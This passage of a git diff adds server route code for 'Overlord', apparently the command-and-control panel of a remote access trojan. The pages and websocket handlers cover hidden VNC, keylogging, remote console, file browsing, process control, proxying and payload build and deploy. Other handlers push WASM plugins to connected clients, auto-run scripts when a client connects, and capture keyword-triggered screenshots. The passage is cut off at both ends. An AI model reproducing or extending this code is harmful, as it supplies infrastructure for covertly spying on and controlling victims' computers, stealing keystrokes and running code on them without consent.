PUBLIC_ROOT: string; + secureHeaders: (contentType?: string) => Record; + mimeType: (path: string) => string; +}; + +async function serveLoginOrUnauthorized(deps: PageRouteDeps): Promise { + const loginFile = Bun.file(`${deps.PUBLIC_ROOT}/login.html`); + if (await loginFile.exists()) { + return new Response(loginFile, { headers: deps.secureHeaders(deps.mimeType("/login.html")) }); + } + return new Response("Unauthorized", { status: 401 }); +} + +async function serveChangePasswordIfRequired( + deps: PageRouteDeps, + userId: number, +): Promise { + const dbUser = getUserById(userId); + if (dbUser && dbUser.must_change_password) { + const changePassFile = Bun.file(`${deps.PUBLIC_ROOT}/change-password.html`); + if (await changePassFile.exists()) { + return new Response(changePassFile, { + headers: deps.secureHeaders(deps.mimeType("/change-password.html")), + }); + } + } + return null; +} + +export async function handlePageRoutes( + req: Request, + url: URL, + deps: PageRouteDeps, +): Promise { + if (req.method === "GET" && (url.pathname === "/" || url.pathname === "/index.html")) { + const authed = await authenticateRequest(req); + + if (authed) { + const maybeChange = await serveChangePasswordIfRequired(deps, authed.userId); + if (maybeChange) return maybeChange; + } + + const filePath = authed ? "/index.html" : "/login.html"; + const file = Bun.file(`${deps.PUBLIC_ROOT}${filePath}`); + if (await file.exists()) { + return new Response(file, { headers: deps.secureHeaders(deps.mimeType(filePath)) }); + } + } + + if (req.method === "GET" && url.pathname === "/change-password.html") { + const file = Bun.file(`${deps.PUBLIC_ROOT}/change-password.html`); + if (await file.exists()) { + return new Response(file, { headers: deps.secureHeaders(deps.mimeType("/change-password.html")) }); + } + } + + if (req.method === "GET" && url.pathname === "/remotedesktop") { + const user = await authenticateRequest(req); + if (!user) { + return serveLoginOrUnauthorized(deps); + } + + const maybeChange = await serveChangePasswordIfRequired(deps, user.userId); + if (maybeChange) return maybeChange; + + if (user.role === "viewer") { + return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 }); + } + const file = Bun.file(`${deps.PUBLIC_ROOT}/remotedesktop.html`); + if (await file.exists()) { + return new Response(file, { headers: deps.secureHeaders(deps.mimeType("remotedesktop.html")) }); + } + } + + if (req.method === "GET" && url.pathname === "/hvnc") { + const user = await authenticateRequest(req); + if (!user) { + return serveLoginOrUnauthorized(deps); + } + + const maybeChange = await serveChangePasswordIfRequired(deps, user.userId); + if (maybeChange) return maybeChange; + + if (user.role === "viewer") { + return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 }); + } + const file = Bun.file(`${deps.PUBLIC_ROOT}/hvnc.html`); + if (await file.exists()) { + return new Response(file, { headers: deps.secureHeaders(deps.mimeType("hvnc.html")) }); + } + } + + if (req.method === "GET" && url.pathname === "/metrics") { + const user = await authenticateRequest(req); + if (!user) { + return serveLoginOrUnauthorized(deps); + } + + const maybeChange = await serveChangePasswordIfRequired(deps, user.userId); + if (maybeChange) return maybeChange; + + const file = Bun.file(`${deps.PUBLIC_ROOT}/metrics.html`); + if (await file.exists()) { + return new Response(file, { headers: deps.secureHeaders(deps.mimeType("metrics.html")) }); + } + } + + if (req.method === "GET" && url.pathname === "/logs") { + const user = await authenticateRequest(req); + if (!user) { + return serveLoginOrUnauthorized(deps); + } + + const maybeChange = await serveChangePasswordIfRequired(deps, user.userId); + if (maybeChange) return maybeChange; + + try { + requirePermission(user, "audit:view"); + } catch (error) { + if (error instanceof Response) return error; + return new Response("Forbidden", { status: 403 }); + } + + const file = Bun.file(`${deps.PUBLIC_ROOT}/logs.html`); + if (await file.exists()) { + return new Response(file, { headers: deps.secureHeaders(deps.mimeType("logs.html")) }); + } + } + + if (req.method === "GET" && url.pathname === "/notifications") { + const user = await authenticateRequest(req); + if (!user) { + return serveLoginOrUnauthorized(deps); + } + + const maybeChange = await serveChangePasswordIfRequired(deps, user.userId); + if (maybeChange) return maybeChange; + + const file = Bun.file(`${deps.PUBLIC_ROOT}/notifications.html`); + if (await file.exists()) { + return new Response(file, { + headers: deps.secureHeaders(deps.mimeType("notifications.html")), + }); + } + } + + if (req.method === "GET" && url.pathname === "/users") { + const user = await authenticateRequest(req); + if (!user) { + return serveLoginOrUnauthorized(deps); + } + + const maybeChange = await serveChangePasswordIfRequired(deps, user.userId); + if (maybeChange) return maybeChange; + + if (user.role !== "admin") { + return new Response("Forbidden: Admin access required", { status: 403 }); + } + + const file = Bun.file(`${deps.PUBLIC_ROOT}/users.html`); + if (await file.exists()) { + return new Response(file, { headers: deps.secureHeaders(deps.mimeType("users.html")) }); + } + } + + if (req.method === "GET" && url.pathname === "/build") { + const user = await authenticateRequest(req); + if (!user) { + return serveLoginOrUnauthorized(deps); + } + + if (user.role !== "admin" && user.role !== "operator") { + return new Response("Forbidden: Admin or operator access required", { status: 403 }); + } + + const file = Bun.file(`${deps.PUBLIC_ROOT}/build.html`); + if (await file.exists()) { + return new Response(file, { headers: deps.secureHeaders(deps.mimeType("build.html")) }); + } + } + + if (req.method === "GET" && url.pathname === "/plugins") { + const user = await authenticateRequest(req); + if (!user) { + return serveLoginOrUnauthorized(deps); + } + + if (user.role !== "admin" && user.role !== "operator") { + return new Response("Forbidden: Admin or operator access required", { status: 403 }); + } + + const file = Bun.file(`${deps.PUBLIC_ROOT}/plugins.html`); + if (await file.exists()) { + return new Response(file, { headers: deps.secureHeaders(deps.mimeType("plugins.html")) }); + } + } + + const consolePageMatch = url.pathname.match(/^\/(.+)\/console$/); + if (req.method === "GET" && consolePageMatch) { + const user = await authenticateRequest(req); + if (!user) { + return serveLoginOrUnauthorized(deps); + } + + if (user.role === "viewer") { + return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 }); + } + const file = Bun.file(`${deps.PUBLIC_ROOT}/console.html`); + if (await file.exists()) { + return new Response(file, { headers: deps.secureHeaders(deps.mimeType("console.html")) }); + } + } + + const filesPageMatch = url.pathname.match(/^\/(.+)\/files$/); + if (req.method === "GET" && filesPageMatch) { + const user = await authenticateRequest(req); + if (!user) { + return serveLoginOrUnauthorized(deps); + } + + if (user.role === "viewer") { + return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 }); + } + const file = Bun.file(`${deps.PUBLIC_ROOT}/filebrowser.html`); + if (await file.exists()) { + return new Response(file, { headers: deps.secureHeaders(deps.mimeType("filebrowser.html")) }); + } + } + + const processesPageMatch = url.pathname.match(/^\/(.+)\/processes$/); + if (req.method === "GET" && processesPageMatch) { + const user = await authenticateRequest(req); + if (!user) { + return serveLoginOrUnauthorized(deps); + } + + if (user.role === "viewer") { + return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 }); + } + const file = Bun.file(`${deps.PUBLIC_ROOT}/processes.html`); + if (await file.exists()) { + return new Response(file, { headers: deps.secureHeaders(deps.mimeType("processes.html")) }); + } + } + + const keyloggerPageMatch = url.pathname.match(/^\/(.+)\/keylogger$/); + if (req.method === "GET" && keyloggerPageMatch) { + const user = await authenticateRequest(req); + if (!user) { + return serveLoginOrUnauthorized(deps); + } + + if (user.role === "viewer") { + return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 }); + } + const file = Bun.file(`${deps.PUBLIC_ROOT}/keylogger.html`); + if (await file.exists()) { + return new Response(file, { headers: deps.secureHeaders(deps.mimeType("keylogger.html")) }); + } + } + + const proxyPageMatch = url.pathname.match(/^\/(.+)\/proxy$/); + if (req.method === "GET" && proxyPageMatch) { + const user = await authenticateRequest(req); + if (!user) { + return serveLoginOrUnauthorized(deps); + } + + if (user.role === "viewer") { + return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 }); + } + const file = Bun.file(`${deps.PUBLIC_ROOT}/proxy.html`); + if (await file.exists()) { + return new Response(file, { headers: deps.secureHeaders(deps.mimeType("proxy.html")) }); + } + } + + if (req.method === "GET" && url.pathname === "/scripts") { + const user = await authenticateRequest(req); + if (!user) { + return serveLoginOrUnauthorized(deps); + } + + if (user.role === "viewer") { + return new Response("Forbidden: Viewers cannot execute scripts", { status: 403 }); + } + + const file = Bun.file(`${deps.PUBLIC_ROOT}/scripts.html`); + if (await file.exists()) { + return new Response(file, { headers: deps.secureHeaders(deps.mimeType("scripts.html")) }); + } + } + + if (req.method === "GET" && url.pathname === "/deploy") { + const user = await authenticateRequest(req); + if (!user) { + return serveLoginOrUnauthorized(deps); + } + + if (user.role !== "admin") { + return new Response("Forbidden: Admin access required", { status: 403 }); + } + + const file = Bun.file(`${deps.PUBLIC_ROOT}/deploy.html`); + if (await file.exists()) { + return new Response(file, { headers: deps.secureHeaders(deps.mimeType("deploy.html")) }); + } + } + + return null; +} diff --git a/Overlord-Server/src/server/routes/plugin-routes.ts b/Overlord-Server/src/server/routes/plugin-routes.ts new file mode 100644 index 0000000..4116ce7 --- /dev/null +++ b/Overlord-Server/src/server/routes/plugin-routes.ts @@ -0,0 +1,465 @@ +import fs from "fs/promises"; +import path from "path"; +import { v4 as uuidv4 } from "uuid"; +import { authenticateRequest } from "../../auth"; +import { requirePermission } from "../../rbac"; +import * as clientManager from "../../clientManager"; +import { metrics } from "../../metrics"; +import { encodeMessage } from "../../protocol"; + +type PluginManifest = { + id: string; + name: string; +}; + +type PluginBundle = { + manifest: PluginManifest; + wasm: Uint8Array; +}; + +type PluginState = { + enabled: Record; + lastError: Record; +}; + +type PluginRouteDeps = { + PLUGIN_ROOT: string; + pluginState: PluginState; + pluginLoadedByClient: Map>; + pluginLoadingByClient: Map>; + pendingPluginEvents: Map>; + sanitizePluginId: (name: string) => string; + ensurePluginExtracted: (pluginId: string) => Promise; + savePluginState: () => Promise; + listPluginManifests: () => Promise; + loadPluginBundle: (pluginId: string) => Promise; + sendPluginBundle: (target: any, bundle: PluginBundle) => void; + markPluginLoading: (clientId: string, pluginId: string) => void; + isPluginLoaded: (clientId: string, pluginId: string) => boolean; + isPluginLoading: (clientId: string, pluginId: string) => boolean; + enqueuePluginEvent: (clientId: string, pluginId: string, event: string, payload: any) => void; + secureHeaders: (contentType?: string) => Record; + securePluginHeaders: () => Record; + mimeType: (path: string) => string; +}; + +export async function handlePluginRoutes( + req: Request, + url: URL, + deps: PluginRouteDeps, +): Promise { + if ( + !url.pathname.startsWith("/api/plugins") && + !url.pathname.startsWith("/plugins/") && + !url.pathname.match(/^\/api\/clients\/.+\/plugins/) + ) { + return null; + } + + if (req.method === "GET" && url.pathname === "/api/plugins") { + if (!(await authenticateRequest(req))) { + return new Response("Unauthorized", { status: 401 }); + } + const plugins = await deps.listPluginManifests(); + const enriched = plugins.map((p) => ({ + ...p, + enabled: deps.pluginState.enabled[p.id] !== false, + lastError: deps.pluginState.lastError[p.id] || "", + })); + return Response.json({ plugins: enriched }); + } + + const clientPluginsMatch = url.pathname.match(/^\/api\/clients\/(.+)\/plugins$/); + if (req.method === "GET" && clientPluginsMatch) { + const user = await authenticateRequest(req); + if (!user) { + return new Response("Unauthorized", { status: 401 }); + } + try { + requirePermission(user, "clients:control"); + } catch (error) { + if (error instanceof Response) return error; + return new Response("Forbidden", { status: 403 }); + } + + const clientId = clientPluginsMatch[1]; + const loaded = deps.pluginLoadedByClient.get(clientId) || new Set(); + const manifests = await deps.listPluginManifests(); + const plugins = manifests.map((manifest) => ({ + id: manifest.id, + name: manifest.name || manifest.id, + loaded: loaded.has(manifest.id), + enabled: deps.pluginState.enabled[manifest.id] !== false, + lastError: deps.pluginState.lastError[manifest.id] || "", + })); + return Response.json({ plugins }); + } + + if (req.method === "POST" && url.pathname === "/api/plugins/upload") { + const user = await authenticateRequest(req); + if (!user) { + return new Response("Unauthorized", { status: 401 }); + } + if (user.role !== "admin" && user.role !== "operator") { + return new Response("Forbidden: Admin or operator access required", { status: 403 }); + } + + let form: FormData; + try { + form = await req.formData(); + } catch { + return new Response("Bad request", { status: 400 }); + } + + const file = form.get("file"); + if (!(file instanceof File)) { + return new Response("Missing file", { status: 400 }); + } + + const filename = file.name || "plugin.zip"; + if (!filename.toLowerCase().endsWith(".zip")) { + return new Response("Only .zip files are supported", { status: 400 }); + } + + const base = path.basename(filename, path.extname(filename)); + let pluginId = ""; + try { + pluginId = deps.sanitizePluginId(base); + } catch { + return new Response("Invalid plugin name", { status: 400 }); + } + + await fs.mkdir(deps.PLUGIN_ROOT, { recursive: true }); + const zipPath = path.join(deps.PLUGIN_ROOT, `${pluginId}.zip`); + const data = new Uint8Array(await file.arrayBuffer()); + await fs.writeFile(zipPath, data); + + try { + await deps.ensurePluginExtracted(pluginId); + } catch (err) { + return Response.json({ ok: false, error: (err as Error).message }, { status: 400 }); + } + + if (deps.pluginState.enabled[pluginId] === undefined) { + deps.pluginState.enabled[pluginId] = true; + await deps.savePluginState(); + } + + return Response.json({ ok: true, id: pluginId }); + } + + const pluginEnableMatch = url.pathname.match(/^\/api\/plugins\/(.+)\/enable$/); + if (req.method === "POST" && pluginEnableMatch) { + const user = await authenticateRequest(req); + if (!user) { + return new Response("Unauthorized", { status: 401 }); + } + if (user.role !== "admin" && user.role !== "operator") { + return new Response("Forbidden: Admin or operator access required", { status: 403 }); + } + let pluginId = ""; + try { + pluginId = deps.sanitizePluginId(pluginEnableMatch[1]); + } catch { + return new Response("Invalid plugin id", { status: 400 }); + } + let body: any = {}; + try { + body = await req.json(); + } catch {} + const enabled = !!body.enabled; + deps.pluginState.enabled[pluginId] = enabled; + await deps.savePluginState(); + return Response.json({ ok: true, id: pluginId, enabled }); + } + + const pluginDeleteMatch = url.pathname.match(/^\/api\/plugins\/(.+)$/); + if (req.method === "DELETE" && pluginDeleteMatch) { + const user = await authenticateRequest(req); + if (!user) { + return new Response("Unauthorized", { status: 401 }); + } + if (user.role !== "admin" && user.role !== "operator") { + return new Response("Forbidden: Admin or operator access required", { status: 403 }); + } + + let pluginId = ""; + try { + pluginId = deps.sanitizePluginId(pluginDeleteMatch[1]); + } catch { + return new Response("Invalid plugin id", { status: 400 }); + } + + const zipPath = path.join(deps.PLUGIN_ROOT, `${pluginId}.zip`); + const pluginDir = path.join(deps.PLUGIN_ROOT, pluginId); + + try { + await fs.rm(zipPath, { force: true }); + } catch {} + + try { + await fs.rm(pluginDir, { recursive: true, force: true }); + } catch {} + + deps.pluginLoadedByClient.forEach((set) => set.delete(pluginId)); + deps.pluginLoadingByClient.forEach((set) => set.delete(pluginId)); + delete deps.pluginState.enabled[pluginId]; + delete deps.pluginState.lastError[pluginId]; + await deps.savePluginState(); + + return Response.json({ ok: true, id: pluginId }); + } + + const pluginLoadMatch = url.pathname.match(/^\/api\/clients\/(.+)\/plugins\/(.+)\/load$/); + if (req.method === "POST" && pluginLoadMatch) { + const user = await authenticateRequest(req); + if (!user) return new Response("Unauthorized", { status: 401 }); + try { + requirePermission(user, "clients:control"); + } catch (error) { + if (error instanceof Response) return error; + return new Response("Forbidden", { status: 403 }); + } + const targetId = pluginLoadMatch[1]; + const pluginId = pluginLoadMatch[2]; + const target = clientManager.getClient(targetId); + if (!target) return new Response("Not found", { status: 404 }); + if (deps.isPluginLoaded(targetId, pluginId)) { + return Response.json({ ok: true, alreadyLoaded: true }); + } + if (deps.isPluginLoading(targetId, pluginId)) { + return Response.json({ ok: true, loading: true }); + } + try { + const bundle = await deps.loadPluginBundle(pluginId); + deps.markPluginLoading(targetId, pluginId); + deps.sendPluginBundle(target, bundle); + metrics.recordCommand("plugin_load"); + return Response.json({ ok: true }); + } catch (err) { + return Response.json({ ok: false, error: (err as Error).message }, { status: 400 }); + } + } + + const pluginEventMatch = url.pathname.match(/^\/api\/clients\/(.+)\/plugins\/(.+)\/event$/); + if (req.method === "POST" && pluginEventMatch) { + const user = await authenticateRequest(req); + if (!user) return new Response("Unauthorized", { status: 401 }); + try { + requirePermission(user, "clients:control"); + } catch (error) { + if (error instanceof Response) return error; + return new Response("Forbidden", { status: 403 }); + } + + const targetId = pluginEventMatch[1]; + const pluginId = pluginEventMatch[2]; + const target = clientManager.getClient(targetId); + if (!target) return new Response("Not found", { status: 404 }); + if (deps.pluginState.enabled[pluginId] === false) { + return Response.json({ ok: false, error: "Plugin disabled" }, { status: 400 }); + } + + let body: any = {}; + try { + body = await req.json(); + } catch { + body = {}; + } + const event = typeof body.event === "string" ? body.event : ""; + const payload = body.payload; + if (!event) { + return new Response("Bad request", { status: 400 }); + } + + if (!deps.isPluginLoaded(targetId, pluginId)) { + deps.enqueuePluginEvent(targetId, pluginId, event, payload); + if (!deps.isPluginLoading(targetId, pluginId)) { + try { + const bundle = await deps.loadPluginBundle(pluginId); + deps.markPluginLoading(targetId, pluginId); + deps.sendPluginBundle(target, bundle); + metrics.recordCommand("plugin_load"); + } catch (err) { + return Response.json({ ok: false, error: (err as Error).message }, { status: 400 }); + } + } + metrics.recordCommand("plugin_event"); + return Response.json({ ok: true, queued: true }); + } + + target.ws.send( + encodeMessage({ + type: "plugin_event", + pluginId, + event, + payload, + }), + ); + metrics.recordCommand("plugin_event"); + return Response.json({ ok: true }); + } + + const pluginUnloadMatch = url.pathname.match(/^\/api\/clients\/(.+)\/plugins\/(.+)\/unload$/); + if (req.method === "POST" && pluginUnloadMatch) { + const user = await authenticateRequest(req); + if (!user) return new Response("Unauthorized", { status: 401 }); + try { + requirePermission(user, "clients:control"); + } catch (error) { + if (error instanceof Response) return error; + return new Response("Forbidden", { status: 403 }); + } + + const targetId = pluginUnloadMatch[1]; + const pluginId = pluginUnloadMatch[2]; + const target = clientManager.getClient(targetId); + if (!target) return new Response("Not found", { status: 404 }); + + target.ws.send( + encodeMessage({ + type: "command", + commandType: "plugin_unload", + id: uuidv4(), + payload: { pluginId }, + }), + ); + + deps.pluginLoadedByClient.get(targetId)?.delete(pluginId); + deps.pluginLoadingByClient.get(targetId)?.delete(pluginId); + deps.pendingPluginEvents.delete(`${targetId}:${pluginId}`); + + return Response.json({ ok: true, id: pluginId }); + } + + const pluginFrameMatch = url.pathname.match(/^\/plugins\/([^/]+)\/frame$/); + if (req.method === "GET" && pluginFrameMatch) { + let pluginId = ""; + try { + pluginId = deps.sanitizePluginId(pluginFrameMatch[1]); + } catch { + return new Response("Invalid plugin id", { status: 400 }); + } + + const htmlFile = path.join(deps.PLUGIN_ROOT, pluginId, "assets", `${pluginId}.html`); + const file = Bun.file(htmlFile); + if (!(await file.exists())) { + return new Response("Not found", { status: 404 }); + } + + const raw = await file.text(); + const baseTag = ``; + const bridgeTag = ``; + let injected = raw; + + const headMatch = raw.match(/]*>/i); + if (headMatch) { + injected = raw.replace(headMatch[0], `${headMatch[0]}\n ${baseTag}`); + } + + if (injected.includes("")) { + injected = injected.replace("", ` ${bridgeTag}\n `); + } else if (injected.includes("")) { + injected = injected.replace("", ` ${bridgeTag}\n`); + } else { + injected = `${bridgeTag}\n${injected}`; + } + + return new Response(injected, { + headers: { ...deps.securePluginHeaders(), "Content-Type": "text/html; charset=utf-8" }, + }); + } + + const pluginPageMatch = url.pathname.match(/^\/plugins\/([^/]+)$/); + if (req.method === "GET" && pluginPageMatch) { + let pluginId = ""; + try { + pluginId = deps.sanitizePluginId(pluginPageMatch[1]); + } catch { + return new Response("Invalid plugin id", { status: 400 }); + } + + const clientId = url.searchParams.get("clientId") || ""; + const bridgeToken = uuidv4(); + const origin = url.origin; + const iframeSrc = `/plugins/${pluginId}/frame?clientId=${encodeURIComponent(clientId)}&token=${encodeURIComponent(bridgeToken)}&origin=${encodeURIComponent(origin)}`; + + const html = ` + + + + + ${pluginId} - Overlord Plugin + + + + + + + + +
+
+
+
+ +
+
+
+
+ + + +`; + + return new Response(html, { headers: deps.secureHeaders("text/html; charset=utf-8") }); + } + + const pluginAssetMatch = url.pathname.match(/^\/plugins\/([^/]+)\/assets\/(.+)$/); + if (req.method === "GET" && pluginAssetMatch) { + const [, pluginId, assetPath] = pluginAssetMatch; + let decodedPath = assetPath; + try { + decodedPath = decodeURIComponent(assetPath); + } catch { + return new Response("Bad request", { status: 400 }); + } + + if (decodedPath.includes("\u0000") || path.isAbsolute(decodedPath)) { + return new Response("Not found", { status: 404 }); + } + + const assetsRoot = path.join(deps.PLUGIN_ROOT, pluginId, "assets"); + const normalized = decodedPath.replace(/\\/g, "/"); + const resolvedPath = path.resolve(assetsRoot, normalized); + const rootWithSep = assetsRoot.endsWith(path.sep) ? assetsRoot : `${assetsRoot}${path.sep}`; + + if (!resolvedPath.startsWith(rootWithSep)) { + return new Response("Not found", { status: 404 }); + } + + const file = Bun.file(resolvedPath); + if (await file.exists()) { + return new Response(file, { headers: deps.secureHeaders(deps.mimeType(assetPath)) }); + } + return new Response("Not found", { status: 404 }); + } + + return null; +} diff --git a/Overlord-Server/src/server/routes/users-routes.ts b/Overlord-Server/src/server/routes/users-routes.ts new file mode 100644 index 0000000..0a16534 --- /dev/null +++ b/Overlord-Server/src/server/routes/users-routes.ts @@ -0,0 +1,207 @@ +import { generateToken, authenticateRequest } from "../../auth"; +import { AuditAction, logAudit } from "../../auditLog"; +import { logger } from "../../logger"; +import { requirePermission } from "../../rbac"; +import { + createUser, + deleteUser, + getUserById, + listUsers, + updateUserPassword, + updateUserRole, +} from "../../users"; + +type RequestIpProvider = { + requestIP: (req: Request) => { address?: string } | null | undefined; +}; + +export async function handleUsersRoutes( + req: Request, + url: URL, + server: RequestIpProvider, +): Promise { + if (!url.pathname.startsWith("/api/users")) { + return null; + } + + try { + const user = await authenticateRequest(req); + + if (req.method === "GET" && url.pathname === "/api/users") { + requirePermission(user, "users:manage"); + const users = listUsers(); + return Response.json({ users }); + } + + if (req.method === "POST" && url.pathname === "/api/users") { + const authedUser = requirePermission(user, "users:manage"); + const body = await req.json(); + const { username, password, role } = body; + + if (!username || !password || !role) { + return Response.json({ error: "Missing required fields" }, { status: 400 }); + } + + if (!["admin", "operator", "viewer"].includes(role)) { + return Response.json({ error: "Invalid role" }, { status: 400 }); + } + + const result = await createUser(username, password, role, authedUser.username); + + if (result.success) { + const ip = server.requestIP(req)?.address || "unknown"; + logAudit({ + timestamp: Date.now(), + username: authedUser.username, + ip, + action: AuditAction.COMMAND, + details: `Created user: ${username} (${role})`, + success: true, + }); + + return Response.json({ success: true, userId: result.userId }); + } + return Response.json({ error: result.error }, { status: 400 }); + } + + if (req.method === "PUT" && url.pathname.match(/^\/api\/users\/\d+\/password$/)) { + const userId = parseInt(url.pathname.split("/")[3]); + const body = await req.json(); + const { password, newPassword, currentPassword } = body; + + const canChange = user.userId === userId || user.role === "admin"; + + if (!canChange) { + return Response.json({ error: "Permission denied" }, { status: 403 }); + } + + if (user.userId === userId && currentPassword) { + const targetUser = getUserById(userId); + if (!targetUser) { + return Response.json({ error: "User not found" }, { status: 404 }); + } + + const isValid = await Bun.password.verify( + currentPassword, + targetUser.password_hash, + ); + if (!isValid) { + return Response.json( + { error: "Current password is incorrect" }, + { status: 400 }, + ); + } + } + + const finalPassword = newPassword || password; + if (!finalPassword) { + return Response.json({ error: "Password required" }, { status: 400 }); + } + + const result = await updateUserPassword(userId, finalPassword); + + if (result.success) { + const targetUser = getUserById(userId); + const ip = server.requestIP(req)?.address || "unknown"; + logAudit({ + timestamp: Date.now(), + username: user.username, + ip, + action: AuditAction.COMMAND, + details: `Updated password for user: ${targetUser?.username}`, + success: true, + }); + + if (user.userId === userId && targetUser) { + const newToken = await generateToken(targetUser); + return new Response( + JSON.stringify({ + success: true, + token: newToken, + }), + { + headers: { + "Content-Type": "application/json", + "Set-Cookie": `overlord_token=${newToken}; HttpOnly; Secure; SameSite=Strict; Path=/; Max-Age=604800`, + }, + }, + ); + } + + return Response.json({ success: true }); + } + return Response.json({ error: result.error }, { status: 400 }); + } + + if (req.method === "PUT" && url.pathname.match(/^\/api\/users\/\d+\/role$/)) { + const authedUser = requirePermission(user, "users:manage"); + const userId = parseInt(url.pathname.split("/")[3]); + const body = await req.json(); + const { role } = body; + + if (!role || !["admin", "operator", "viewer"].includes(role)) { + return Response.json({ error: "Invalid role" }, { status: 400 }); + } + + if (userId === authedUser.userId) { + return Response.json({ error: "Cannot change your own role" }, { status: 400 }); + } + + const result = updateUserRole(userId, role); + + if (result.success) { + const targetUser = getUserById(userId); + const ip = server.requestIP(req)?.address || "unknown"; + logAudit({ + timestamp: Date.now(), + username: authedUser.username, + ip, + action: AuditAction.COMMAND, + details: `Updated role for user: ${targetUser?.username} to ${role}`, + success: true, + }); + + return Response.json({ success: true }); + } + return Response.json({ error: result.error }, { status: 400 }); + } + + if (req.method === "DELETE" && url.pathname.match(/^\/api\/users\/\d+$/)) { + const authedUser = requirePermission(user, "users:manage"); + const userId = parseInt(url.pathname.split("/")[3]); + + if (userId === authedUser.userId) { + return Response.json( + { error: "Cannot delete your own account" }, + { status: 400 }, + ); + } + + const targetUser = getUserById(userId); + const result = deleteUser(userId); + + if (result.success) { + const ip = server.requestIP(req)?.address || "unknown"; + logAudit({ + timestamp: Date.now(), + username: authedUser.username, + ip, + action: AuditAction.COMMAND, + details: `Deleted user: ${targetUser?.username}`, + success: true, + }); + + return Response.json({ success: true }); + } + return Response.json({ error: result.error }, { status: 400 }); + } + + return new Response("Not found", { status: 404 }); + } catch (error) { + if (error instanceof Response) { + return error; + } + logger.error("[users] API error:", error); + return Response.json({ error: "Internal server error" }, { status: 500 }); + } +} diff --git a/Overlord-Server/src/server/routes/websocket-lifecycle-routes.ts b/Overlord-Server/src/server/routes/websocket-lifecycle-routes.ts new file mode 100644 index 0000000..5629a61 --- /dev/null +++ b/Overlord-Server/src/server/routes/websocket-lifecycle-routes.ts @@ -0,0 +1,385 @@ +import type { ServerWebSocket } from "bun"; +import { v4 as uuidv4 } from "uuid"; +import { logAudit, AuditAction } from "../../auditLog"; +import * as clientManager from "../../clientManager"; +import { clientExists, setOnlineState, upsertClientRow } from "../../db"; +import { logger } from "../../logger"; +import { metrics } from "../../metrics"; +import { decodeMessage, encodeMessage, type WireMessage } from "../../protocol"; +import * as sessionManager from "../../sessions/sessionManager"; +import type { SocketData } from "../../sessions/types"; +import type { ClientInfo } from "../../types"; +import { handleFrame, handleHello, handlePing, handlePong } from "../../wsHandlers"; +import { getMaxPayloadLimit, getMessageByteLength, isAllowedClientMessageType } from "../../wsValidation"; + +type PendingScript = { + timeout: ReturnType; + resolve: (value: { ok?: boolean; result?: string; error?: string }) => void; +}; + +type WsLifecycleDeps = { + maxClientPayloadBytes: number; + maxViewerPayloadBytes: number; + pendingScripts: Map; + rdStreamingState: Map; + hvncStreamingState: Map; + getNotificationConfig: () => { keywords?: string[]; minIntervalMs?: number }; + handleConsoleViewerOpen: (ws: ServerWebSocket) => void; + handleRemoteDesktopViewerOpen: (ws: ServerWebSocket) => void; + handleHVNCViewerOpen: (ws: ServerWebSocket) => void; + handleFileBrowserViewerOpen: (ws: ServerWebSocket) => void; + handleProcessViewerOpen: (ws: ServerWebSocket) => void; + handleKeyloggerViewerOpen: (ws: ServerWebSocket) => void; + handleProxyViewerOpen: (ws: ServerWebSocket) => void; + handleNotificationViewerOpen: (ws: ServerWebSocket) => void; + handleConsoleViewerMessage: (ws: ServerWebSocket, raw: string | ArrayBuffer | Uint8Array) => void; + handleRemoteDesktopViewerMessage: (ws: ServerWebSocket, raw: string | ArrayBuffer | Uint8Array) => void; + handleHVNCViewerMessage: (ws: ServerWebSocket, raw: string | ArrayBuffer | Uint8Array) => void; + handleFileBrowserViewerMessage: (ws: ServerWebSocket, raw: string | ArrayBuffer | Uint8Array) => void; + handleProcessViewerMessage: (ws: ServerWebSocket, raw: string | ArrayBuffer | Uint8Array) => void; + handleKeyloggerViewerMessage: (ws: ServerWebSocket, raw: string | ArrayBuffer | Uint8Array) => void; + handleProxyViewerMessage: (ws: ServerWebSocket, raw: string | ArrayBuffer | Uint8Array) => void; + dispatchAutoScriptsForConnection: (info: ClientInfo, ws: ServerWebSocket) => void; + takePendingNotificationScreenshot: (clientId: string) => any; + storeNotificationScreenshot: ( + pending: any, + bytes: Uint8Array, + format: string, + width?: number, + height?: number, + ) => void; + handleNotificationScreenshotResult: (clientId: string, payload: any) => void; + handleConsoleOutput: (payload: any) => void; + handleFileBrowserMessage: (clientId: string, payload: any) => void; + handleProxyMessage: (clientId: string, payload: any) => void; + handleProcessMessage: (clientId: string, payload: any) => void; + handleKeyloggerMessage: (clientId: string, payload: any) => void; + notifyRdInputLatency: (commandId: string) => void; + handleNotificationScreenshotFailure: (commandId: string | undefined, ok: boolean | undefined, message: string | undefined) => void; + handlePluginEvent: (clientId: string, payload: any) => void; + handleNotification: (clientId: string, payload: any) => void; + stopConsoleOnTarget: (target: ClientInfo | undefined, sessionId: string) => void; + sendDesktopCommand: (target: ClientInfo | undefined, commandType: string, payload: Record) => void; + sendHVNCCommand: (target: ClientInfo, commandType: string, payload: Record) => void; + notifyConsoleClosed: (clientId: string, reason: string) => void; + clearPendingNotificationScreenshots: (clientId: string) => void; + notifyRemoteDesktopStatus: (clientId: string, status: string, reason?: string) => void; +}; + +export function handleWebSocketOpen(ws: ServerWebSocket, deps: WsLifecycleDeps): void { + const role = ws.data.role as string; + const clientId = ws.data.clientId; + const ip = ws.data.ip; + if (role === "console_viewer") return deps.handleConsoleViewerOpen(ws); + if (role === "rd_viewer") return deps.handleRemoteDesktopViewerOpen(ws); + if (role === "hvnc_viewer") return deps.handleHVNCViewerOpen(ws); + if (role === "file_browser_viewer") return deps.handleFileBrowserViewerOpen(ws); + if (role === "process_viewer") return deps.handleProcessViewerOpen(ws); + if (role === "keylogger_viewer") return deps.handleKeyloggerViewerOpen(ws); + if (role === "proxy_viewer") return deps.handleProxyViewerOpen(ws); + if (role === "notifications_viewer") return deps.handleNotificationViewerOpen(ws); + + const id = clientId || uuidv4(); + const info: ClientInfo = { id, role: role as any, ws, lastSeen: Date.now(), country: "", ip, online: true }; + clientManager.addClient(id, info); + + ws.data.clientId = id; + ws.data.ip = ip; + if (role === "client") { + ws.data.wasKnown = clientExists(id); + } + + upsertClientRow({ id, role: role as any, ip, lastSeen: info.lastSeen, online: 1 as any }); + logger.info(`[open] ${id} role=${role}`); + + const 